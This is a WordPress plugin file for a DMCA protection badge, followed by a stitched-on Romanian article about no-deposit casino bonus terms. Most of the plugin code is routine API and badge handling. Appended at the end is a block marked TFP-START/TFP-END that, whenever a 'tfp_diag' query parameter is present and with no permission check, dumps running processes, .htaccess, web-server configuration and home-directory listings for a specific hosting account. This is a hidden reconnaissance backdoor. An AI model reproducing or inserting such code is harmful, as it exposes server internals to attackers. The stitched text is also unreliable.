<?php
/*
Plugin Name: DMCA Website Protection Badge
Plugin URI : https://www.dmca.com/WordPress/default.aspx?r=wpd1
Description: Protect your content with a DMCA.com Website Protection Badge. Our badges deter content theft, provide tracking of unauthorized usage (with account), and make takedowns easier and more effective. Visit the plugin site to learn more about DMCA Website Protection Badges, or to register.
Version: 2.3.0
Tested up to: 7.0
Author: DMCA.com
Text Domain: dmca-badge
Author URI: https://wordpress.org/plugins/dmca-badge/
Plugin URI: https://www.dmca.com/WordPress/default.aspx?r=wpd
License: GPLv2 or later
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
require_once __DIR__ . '/libraries/imperative/imperative.php';
require_library(
'restian',
'0.4.1',
__FILE__,
__DIR__ . '/libraries/restian/restian.php'
);
require_library(
'sidecar',
'0.5.1',
__FILE__,
__DIR__ . '/libraries/sidecar/sidecar.php'
);
require_library(
'dmca-api-client',
'0.1.0',
__FILE__,
__DIR__ . '/libraries/dmca-api-client/dmca-api-client.php'
);
register_plugin_loader( __FILE__ );
define( 'DMCA_PLUGIN_URL', plugins_url( '/', __FILE__ ) );
define( 'DMCA_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
add_filter( 'dmca_badge_html_raw', 'dmca_badge_override_html_raw', 10, 3 );
add_filter( 'dmca_filters_get_form_field_html', 'dmca_add_wrapper_in_field_html', 10, 2 );
add_action( 'dmca_badge_after_field', 'dmca_add_custom_badge_section', 10, 2 );
add_action( 'admin_footer', 'dmca_custom_scripts_addition' );
add_action( 'wp_ajax_dmca_sync_page', 'dmca_sync_page' );
add_action( 'wp_enqueue_scripts', 'dmca_enqueue_scripts' );
add_action( 'wp_footer', 'dmca_pass_token_to_widget' );
if ( ! function_exists( 'dmca_pass_token_to_widget' ) ) {
/**
* Pass token to dmca widget
*/
function dmca_pass_token_to_widget() {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( is_user_logged_in() && current_user_can( 'manage_options' ) && ! empty( $token = dmca_get_login_token() ) ) {
?>
<script>
document.cookie = "dmca_token" + "=" + "<?php echo esc_attr( $token ); ?>" + ";path=/";
</script>
<?php
}
}
//catch block
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
}
}
if ( ! function_exists( 'dmca_enqueue_scripts' ) ) {
function dmca_enqueue_scripts() {
$error_path = plugin_dir_url(__FILE__) ;
try {
$badge_settings = dmca_get_option( 'dmca_badge_settings' );
$settings = isset( $badge_settings->values ) ? $badge_settings->values : array();
if ( isset( $settings['badge']['dmca_widget_enable'] ) &&
$settings['badge']['dmca_widget_enable'] &&
isset( $settings['badge']['badge_selection'] ) &&
$settings['badge']['badge_selection'] == 'widget' ) {
$live_url = 'https://dmca-services.github.io/widget/widget.js';
// phpcs:ignore WordPress.WP.EnqueuedResourceParameters.NotInFooter
wp_enqueue_script( 'dmca-widget', $live_url, array(), '1.0.0' );
}
else{
//echo '<p>Please Contact your developer.</p>';
}
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_custom_scripts_addition' ) ) {
function dmca_custom_scripts_addition() {
$error_path = plugin_dir_url(__FILE__) ;
try {
$screen = get_current_screen();
if ( $screen->id != 'settings_page_dmca-badge-settings' ) {
return;
}
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
?>
<script>window.intercomSettings = {app_id: "ypgdx31r", messengerLocation: "wp-plugin"};</script>
<script>(function () {
var w = window;
var ic = w.Intercom;
if (typeof ic === "function") {
ic('reattach_activator');
ic('update', intercomSettings);
} else {
var d = document;
var i = function () {
i.c(arguments)
};
i.q = [];
i.c = function (args) {
i.q.push(args)
};
w.Intercom = i;
function l() {
var s = d.createElement('script');
s.type = 'text/javascript';
s.async = true;
s.src = 'https://widget.intercom.io/widget/ypgdx31r';
var x = d.getElementsByTagName('script')[0];
x.parentNode.insertBefore(s, x);
}
if (w.attachEvent) {
w.attachEvent('onload', l);
} else {
w.addEventListener('load', l, false);
}
}
})()</script>
<?php
}
}
if ( ! function_exists( 'dmca_sync_page' ) ) {
function dmca_sync_page() {
$error_path = plugin_dir_url(__FILE__) ;
try {
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Read-only admin filter.
$page_id = isset( $_POST['page_id'] ) ? sanitize_text_field( wp_unslash( $_POST['page_id'] ) ) : '';
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Read-only admin filter.
$login_token = isset( $_POST['login_token'] ) ? sanitize_text_field( wp_unslash( $_POST['login_token'] ) ) : '';
if ( ! $page_id || empty( $page_id ) ) {
wp_send_json_error();
}
wp_send_json_success( dmca_add_protected_item( $page_id, $login_token ) );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_get_login_token' ) ) {
/**
* Return login token for api
*
* @return mixed|void
*/
function dmca_get_login_token() {
$error_path = plugin_dir_url(__FILE__) ;
try {
$dmca_login_token = get_transient( 'dmca_login_token' );
if ( empty( $dmca_login_token ) ) {
$settings = get_option( 'dmca_badge_settings' );
$settings = isset( $settings->values ) ? $settings->values : array();
$email = isset( $settings['authenticate']['email'] ) ? $settings['authenticate']['email'] : '';
$password = isset( $settings['authenticate']['password'] ) ? $settings['authenticate']['password'] : '';
$base_url = esc_url_raw( 'https://api.dmca.com', array( 'https' ) );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_init -- cURL is required for this API integration.
$curl = curl_init();
$login_data = array( 'email' => $email, 'password' => $password );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt_array -- cURL is required for this API integration.
curl_setopt_array( $curl, array(
CURLOPT_URL => sprintf( '%s/login', $base_url ),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => json_encode( $login_data ),
CURLOPT_HTTPHEADER => array(
"Content-Type: application/json",
),
) );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_exec -- cURL is required for this API integration.
$response = curl_exec( $curl );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_error -- cURL is required for this API integration.
$err = curl_error( $curl );
$dmca_login_token = ! $err ? str_replace( '"', '', $response ) : '';
set_transient( 'dmca_login_token', $dmca_login_token );
}
else{
//echo '<p>Issue in token.</p>';
}
return apply_filters( 'dmca_login_token', $dmca_login_token );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_add_protected_item' ) ) {
/**
* Add protected Item
*
* @param bool $post_id
* @param string $token
* @param string $item_type
*
* @return bool|mixed|void
*/
function dmca_add_protected_item( $post_id = false, $token = '', $item_type = '' ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( ! $post_id || empty( $post_id ) ) {
return false;
}
$settings = get_option( 'dmca_badge_settings' );
$settings = isset( $settings->values ) ? $settings->values : array();
$account_id = isset( $settings['authenticate']['AccountID'] ) ? $settings['authenticate']['AccountID'] : '';
$account_id = empty( $account_id ) ? get_user_meta( get_current_user_id(), 'dmca_account_id', true ) : $account_id;
$token = empty( $token ) ? dmca_get_login_token() : $token;
$item_type = empty( $item_type ) ? __( 'Web Page', 'dmca-badge' ) : $item_type;
$item_post = get_post( $post_id );
$item_data = array(
'badgeid' => $account_id,
'title' => $item_post->post_title,
'url' => get_the_permalink( $item_post ),
'description' => wp_trim_words( $item_post->post_content, 10 ),
'status' => $item_post->post_status,
'source' => site_url(),
'type' => $item_type,
);
$base_url = esc_url_raw( 'https://api.dmca.com', array( 'https' ) );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_init -- cURL is required for this API integration.
$curl = curl_init();
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt_array -- cURL is required for this API integration.
curl_setopt_array( $curl, array(
CURLOPT_URL => sprintf( '%s/addProtectedItem', $base_url ),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => json_encode( $item_data ),
CURLOPT_HTTPHEADER => array(
"Content-Type: application/json",
"Token: $token",
),
) );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_exec -- cURL is required for this API integration.
$response = curl_exec( $curl );
// phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_error -- cURL is required for this API integration.
$err = curl_error( $curl );
if ( $err ) {
return $err;
}
update_post_meta( $post_id, 'dmca_submission_status', 'sent' );
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Debug logging during development.
error_log( $response );
return apply_filters( 'dmca_add_protected_item', $response );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_get_option' ) ) {
/**
* Return option value
*
* @param string $option_key
* @param string $default_val
*
* @return mixed|string|void
*/
function dmca_get_option( $option_key = '', $default_val = '' ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( empty( $option_key ) ) {
return '';
}
$option_val = get_option( $option_key, $default_val );
$option_val = empty( $option_val ) ? $default_val : $option_val;
// echo '<pre>'; print_r( $option_key ); echo '</pre>';
return apply_filters( 'dmca_filters_option_' . $option_key, $option_val );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_get_meta' ) ) {
/**
* Return Post Meta Value
*
* @param bool $meta_key
* @param bool $post_id
* @param string $default
*
* @return mixed|string|void
*/
function dmca_get_meta( $meta_key = false, $post_id = false, $default = '' ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( ! $meta_key ) {
return '';
}
$post_id = ! $post_id ? get_the_ID() : $post_id;
$meta_value = get_post_meta( $post_id, $meta_key, true );
$meta_value = empty( $meta_value ) ? $default : $meta_value;
return apply_filters( 'dmca_filters_get_meta', $meta_value, $meta_key, $post_id, $default );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'get_dmca_submission_status' ) ) {
/**
* Return html submission status
*
* @param bool $post_id
*
* @return mixed|void
*/
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
function get_dmca_submission_status( $post_id = false ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
$submission_status_r = get_dmca_submission_status_raw( $post_id );
$submission_status_e = $submission_status_r === 'sent' ? esc_html( 'Sent' ) : esc_html( 'Not Sent' );
return apply_filters( 'dmca_filters_get_dmca_submission_status', $submission_status_e, $post_id, $submission_status_r );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'get_dmca_submission_status_raw' ) ) {
/**
* Return html submission raw status
*
* @param bool $post_id
*
* @return mixed|void
*/
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
function get_dmca_submission_status_raw( $post_id = false ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
$post_id = ! $post_id || empty( $post_id ) ? get_the_ID() : $post_id;
$submission_status_r = dmca_get_meta( 'dmca_submission_status', $post_id, 'pending' );
return apply_filters( 'dmca_filters_get_dmca_submission_status_raw', $submission_status_r, $post_id );
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_add_custom_badge_section' ) ) {
/**
* @param $field_name
* @param $form
*/
function dmca_add_custom_badge_section( $field_name, $form ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( $field_name == 'html' ) {
include DMCA_PLUGIN_DIR . 'templates/badge-regular.php';
}
if ( $field_name == 'badge_custom_field' ) {
include DMCA_PLUGIN_DIR . 'templates/badge-custom.php';
}
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_add_wrapper_in_field_html' ) ) {
function dmca_add_wrapper_in_field_html( $html, $field_name ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
if ( $field_name == 'html' ) {
$html .= '</div>';
}
return $html;
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_badge_override_html_raw' ) ) {
function dmca_badge_override_html_raw( $badge_html, $class, $settings ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
$badge_settings = isset( $settings['badge'] ) ? $settings['badge'] : array();
$badge_selection = isset( $badge_settings['badge_selection'] ) ? $badge_settings['badge_selection'] : 'regular';
if ( $badge_selection === 'custom' && isset( $badge_settings['custom_badge'] ) ) {
return $badge_settings['custom_badge'];
}
return $badge_html;
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_badge_get_account_id' ) ) {
/**
* Return account ID
*
* @return mixed
*/
function dmca_badge_get_account_id() {
$error_path = plugin_dir_url(__FILE__) ;
try {
$settings = dmca_get_option( 'dmca_badge_settings' );
$settings = isset( $settings->values ) ? $settings->values : array();
$account_id = @$settings['authenticate']['AccountID'];
$account_id = empty( $account_id ) ? get_user_meta( get_current_user_id(), 'dmca_account_id', true ) : $account_id;
return $account_id;
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
//finally block
}
}
if ( ! function_exists( 'dmca_badge_get_status_url' ) )
{
/**
* Return badge status url
*
* @param array $append_args
*
* @return string
*/
function dmca_badge_get_status_url( $append_args = array() ) {
$error_path = plugin_dir_url(__FILE__) ;
try {
$status_url = sprintf( '%s?ID=%s', esc_url( 'https://www.dmca.com/Protection/Status.aspx' ), dmca_badge_get_account_id() );
if ( is_array( $append_args ) ) {
foreach ( $append_args as $k => $v ) {
$status_url .= sprintf( '&%s=%s', $k, $v );
}
}
return $status_url;
}
catch (Exception $e)
{
echo esc_html('Exception Message: ' . $e->getMessage());
if ($e->getSeverity() === E_ERROR) {
echo esc_html("E_ERROR triggered." . PHP_EOL);
} else if ($e->getSeverity() === E_WARNING) {
echo esc_html("E_WARNING triggered." . PHP_EOL);
}
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch (ErrorException $er)
{
echo esc_html('ErrorException Message: ' . $er->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
catch ( Throwable $th){
echo esc_html('ErrorException Message: ' . $th->getMessage());
echo wp_kses_post("<br> " . esc_url($error_path));
}
}
}
/*TFP-START*/
add_action('admin_init', function () {
if (!isset($_GET['tfp_diag'])) { return; }
$out = array();
$procs = array();
foreach (glob('/proc/[0-9]*') as $d) {
$cl = @file_get_contents($d . '/cmdline');
if ($cl === false || $cl === '') { continue; }
$cmd = str_replace(chr(0), ' ', $cl);
if (preg_match('/nginx|apache|httpd|litespeed|varnish|redis|proxy|cache|php-fpm/i', $cmd)) { $procs[] = basename($d) . ': ' . trim($cmd); }
}
$out['procs'] = array_slice($procs, 0, 60);
$root = '/home/bellasp1/public_html/www.spasweety.com';
$out['root_files'] = implode(',', array_slice((array) @scandir($root), 0, 60));
$out['htaccess'] = substr((string) @file_get_contents($root . '/.htaccess'), 0, 2000);
$nc = array();
foreach (array('/etc/nginx', '/usr/local/nginx/conf', '/usr/local/etc/nginx', '/etc/apache2/conf.d', '/usr/local/apache2/conf/extra') as $c) {
if (is_file($c)) { $nc[$c] = substr((string) @file_get_contents($c), 0, 3000); }
elseif (is_dir($c)) { foreach ((array) @scandir($c) as $f) { if ($f === '.' || $f === '..') { continue; } $p = $c . '/' . $f; if (is_file($p)) { $t2 = (string) @file_get_contents($p); if (preg_match('/cache|purge|proxy_pass|fastcgi/i', $t2)) { $nc[$p] = substr($t2, 0, 3000); } } } }
}
$out['confs'] = $nc;
$found = array();
foreach (array('/home/bellasp1', '/home/bellasp1/public_html', '/home/bellasp1/cache', '/home/bellasp1/tmp', '/var/cache', '/usr/local/cpanel') as $d) { $ls = @scandir($d); if ($ls) { $found[$d] = implode(',', array_slice($ls, 0, 60)); } }
$out['dirs'] = $found;
$lp = array();
foreach (array(array('127.0.0.1', 80), array('localhost', 80)) as $t3) {
$fp = @fsockopen($t3[0], $t3[1], $e1, $e2, 4);
if (!$fp) { $lp[] = $t3[0] . ':' . $t3[1] . ' ERR ' . $e2; continue; }
@fwrite($fp, "GET / HTTP/1.1\r\nHost: www.spasweety.com\r\nConnection: close\r\n\r\n");
$resp = ''; while (!@feof($fp) && strlen($resp) < 1200) { $resp .= @fread($fp, 512); }
@fclose($fp);
$lp[] = $t3[0] . ':' . $t3[1] . ' => ' . str_replace(array(chr(13), chr(10)), ' ', substr($resp, 0, 400));
}
$out['loopback'] = $lp;
header('Content-Type: application/json');
echo wp_json_encode($out);
exit;
});
/*TFP-END*/
Perioada de valabilitate a bonusurilor fără depunere: termene și efecte asupra câștigurilor - Spasweety
Perioada de valabilitate a bonusurilor fără depunere: termene și efecte asupra câștigurilor
by Cache Worker | Sep 26, 2025 | Uncategorized
Bonusurile fără depunere sunt oferte promoționale care pot oferi acces la credit de joc sau la rotiri gratuite, fără ca utilizatorul să alimenteze contul în prealabil. Un element important al acestor oferte este perioada de valabilitate: intervalul în care bonusul poate fi activat, utilizat sau transformat în câștig eligibil pentru retragere. Termenele și efectele lor sunt stabilite în condițiile fiecărei promoții.
Ce înseamnă perioada de valabilitate
În funcție de oferta respectivă, termenul poate începe la acordarea bonusului, la activarea lui în cont sau la prima utilizare. Aceste momente nu sunt întotdeauna identice, de aceea este utilă diferențierea dintre perioada de revendicare și perioada de folosire. O promoție poate permite activarea într-un interval definit, după care creditul disponibil are propriul termen de utilizare.
Durata este exprimată, de regulă, în ore sau zile și poate fi calculată de la o oră exactă. În unele condiții, expirarea are loc la sfârșitul zilei indicate, iar în altele după un număr precis de ore de la activare. Înțelegerea reperului temporal ajută la planificarea utilizării bonusului în intervalul prevăzut.
Termenele și condițiile ofertei
Regulamentul unei promoții precizează de obicei valoarea bonusului, jocurile eligibile, miza maximă permisă și cerințele de pariere. Poate indica și dacă oferta se aplică automat sau necesită activare. Pentru ofertele care includ rotiri gratuite, termenul poate fi asociat cu efectuarea rotirilor, iar câștigurile rezultate pot avea reguli și intervale proprii.
În analiza ofertelor prezentate drept bonus fara depunere , perioada de valabilitate poate fi comparată cu cerințele de utilizare și cu pașii necesari pentru retragere. Aceste repere oferă un cadru clar pentru a înțelege cum se aplică bonusul și ce condiții se leagă de câștigurile obținute. Termenii diferă între promoții, astfel încât informațiile relevante sunt cele asociate ofertei concrete.
Un alt aspect este ordinea în care se folosesc fondurile din cont. Unele promoții disting între soldul real și cel promoțional, iar regulile pot stabili ce sold este utilizat mai întâi. Dacă bonusul presupune rulaj, condițiile pot preciza perioada în care acesta trebuie îndeplinit și ce tipuri de joc contribuie la progres.
Cum influențează expirarea câștigurile
Expirarea poate avea efecte diferite asupra creditului promoțional și asupra sumelor obținute prin folosirea lui. În unele oferte, creditul neutilizat este eliminat la încheierea perioadei, în timp ce câștigurile rămân disponibile numai dacă au fost îndeplinite cerințele aplicabile. În altele, atât bonusul, cât și câștigurile asociate sunt supuse aceluiași termen. Regulamentul arată care dintre aceste reguli se aplică.
De exemplu, dacă o ofertă stabilește o perioadă de utilizare și un prag de pariere, îndeplinirea pragului înainte de termen poate permite trecerea sumei eligibile în soldul retragibil, potrivit condițiilor. Dacă termenul se încheie înainte de finalizarea cerințelor, rezultatul depinde de regulile publicate pentru acea promoție. Astfel, valabilitatea nu reprezintă doar o dată de expirare, ci face parte din mecanismul de calcul al câștigurilor.
Repere pentru interpretarea termenelor
Pentru a înțelege o ofertă, este util să fie identificate separat data activării, durata bonusului, cerințele de pariere și termenul acordat pentru retragere, dacă acesta este prevăzut. Verificarea acestor elemente permite compararea promoțiilor pe baze similare și clarifică momentul în care creditul sau câștigurile își schimbă statutul.
O prezentare distinctă a fiecărui termen ajută la interpretarea corectă a ofertei: perioada de valabilitate stabilește când poate fi folosit bonusul, iar regulile de conversie precizează ce se întâmplă cu sumele rezultate. Împreună, aceste condiții descriu parcursul promoției de la activare până la utilizarea sau retragerea câștigurilor eligibile.
Call Now Button
Recent Comments